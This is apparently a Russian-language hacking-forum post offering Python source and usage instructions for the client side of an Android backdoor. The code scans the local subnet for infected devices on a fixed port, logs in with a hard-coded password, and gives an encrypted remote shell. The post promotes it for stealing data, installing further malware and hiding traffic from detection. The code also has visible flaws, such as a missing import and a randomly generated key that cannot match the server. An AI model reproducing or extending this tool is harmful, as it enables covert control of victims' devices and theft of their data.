Клиент для управления устройствами через бэкдор

Coder_CC

Member
Messages
24
Reaction score
9
Points
3
Эта программа действует как клиентская часть бэкдора. Она сканирует сеть, находит уязвимые устройства и позволяет вам выполнять на них команды. Использует шифрование (Fernet) для защиты передачи данных и аутентификации по паролю.

Как это работает?

Сканирование сети:
  • Определяет локальный IP-адрес и сканирует всю подсеть (маска /24) на предмет устройств с открытым портом 48573.
  • Использует многопоточность (ThreadPoolExecutor) для ускорения сканирования.

Подключение к устройству:
  • При вводе IP-адреса пользователем программа устанавливает зашифрованное соединение через порт 48573.
  • Аутентификация выполняется с использованием хэша пароля ПАРОЛЬ = «paket».

Управление устройством:
  • После успешного подключения отображает информацию об устройстве (модель Android, версия ОС, путь к бэкдору).
  • Позволяет вводить команды, которые шифруются и отправляются на устройство. Ответы расшифровываются и выводятся пользователю.

Техническое обслуживание соединения:
  • Периодически отправляет пинг-сообщения для поддержания активного соединения.

Что она может сделать?
  • Обнаружение устройств с активным бэкдором в локальной сети.
  • Выполнять произвольные команды на зараженном устройстве (например: запускать процессы, красть данные, устанавливать дополнительное вредоносное ПО).
  • Получите информацию о системе жертвы (модель устройства, версия ОС).
  • Маскируйте трафик с помощью шифрования, чтобы избежать обнаружения.

Ключевые компоненты:
  • Сетевой сканер — ищет уязвимые устройства.
  • Шифрование (Fernet) — защищает данные от перехвата.
  • Объединение потоков — ускоряет сканирование.
  • Механизм пинга — поддерживает соединение с устройством.
  • Панель управления - интерактивный интерфейс для ввода команд.
Код:
import time
import socket
import threading
import hashlib
import json
from cryptography.fernet import Fernet
from concurrent.futures import ThreadPoolExecutor
from ipaddress import ip_network, IPv4Address

# Configuration
PORT = 48573
PASSWORD = "paket"
NETWORK_MASK = "/24" # Default subnet mask
MAX_THREADS = 512 # Optimal number of streams
PING_INTERVAL = 10 # Ping interval in seconds

# Encryption
KEY = Fernet.generate_key()
fernet = Fernet(KEY)

# Flow-safe structures
infected_devices = []
ptime = time.time()
ptime_lock = threading.Lock()
devices_lock = threading.Lock()

# Error Logging
def log_error(error: str):
with open("error.log", "a") as f:
f.write(f"[{time.ctime()}] {error}\n")

# Obtaining a local IP
def get_local_ip():
try:
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
except Exception as e:
log_error(f"Failed to get local IP: {e}")
return "127.0.0.1"

# Network scan
def scan(ip: str):
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(1)
if sock.connect_ex((ip, PORT)) == 0:
with devices_lock:
infected_devices.append(ip)
print(f"[+] Backdoor device detected: {ip}")
except Exception as e:
log_error(f"Scan error ({ip}): {e}")

def scanner():
local_ip = get_local_ip()
network = ip_network(f"{local_ip}{NETWORK_MASK}", strict=False)
print(f"[+] Network scan: {network}")

with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
for ip in network.hosts():
executor.submit(scan, str(ip))
time.sleep(0.01) # CPU load reduction

# Ping mechanism
def ping(sock: socket.socket):
global ptime
while True:
try:
with ptime_lock:
sock.send(fernet.encrypt(b'ping'))
ptime = time.time()
time.sleep(PING_INTERVAL)
except:
break

# IP validation
def validate_ip(ip: str) -> bool:
try:
return isinstance(ip_address(ip), IPv4Address)
except:
return False

# Control panel
def panel(ip: str):
if not validate_ip(ip):
print("[-] Invalid IP address")
return

try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(5)
sock.connect((ip, PORT))

# Authentication
auth_hash = hashlib.sha256(PASSWORD.encode()).hexdigest()
sock.send(fernet.encrypt(auth_hash.encode()))

# Data retrieval
data = fernet.decrypt(sock.recv(1024)).decode()
if data == "AUTH_FAIL":
print("[-] Incorrect password")
return

android_model, android_version, backdoor_path = data.split("|_|")
print(f"[Model: {android_model}]\n[OS version: {android_version}]\n[Backdoor path: {backdoor_path}]\n")

threading.Thread(target=ping, args=(sock,), daemon=True).start()

# Command interface
while True:
command = input("[backdoor] > ").strip()
if not command:
continue

# Command encryption
encrypted_cmd = fernet.encrypt(command.encode())
sock.send(encrypted_cmd)

# Receiving a response
response = fernet.decrypt(sock.recv(4096 * 16))
print(f"[Response] {response.decode()}")

except Exception as e:
log_error(f"Panel error: {e}")
print("[-] Connection error")

if __name__ == '__main__':
scanner()
while True:
server_ip = input("[?] Enter the IP of the device > ")
if server_ip.lower() == "exit":
break
panel(server_ip)


Инструкция по использованию:

Установка зависимости:
Код
<span>pip</span> install cryptography pystyle

Запуск сканирования:
Код
<span>python</span> <span>client</span><span>.py</span>
Программа автоматически определит локальную сеть и найдет бэкдор-устройства.

Подключение к устройству:
1. Введите IP из списка обнаруженных IP.
2. Используйте команды:
  • bash <команда> - выполнить команду в оболочке.
  • скачать <путь> - загрузить файл с устройства.
  • upload <local_path> <remote_path> - загрузить файл.
  • снимок экрана - сделать снимок экрана.

Важный:
  • Для этого на целевых устройствах необходимо установить совместимый бэкдор с поддержкой шифрования.
  • Пароль пакета должен быть одинаковым на клиенте и сервере.
  • Измените NETWORK_MASK в коде, если ваша подсеть отличается от /24.

Что нам понадобится:
  • Питон 3.10+
  • Библиотеки: криптография, pystyle
  • Сеть с устройствами, на которых запущена серверная часть бэкдора
 
Top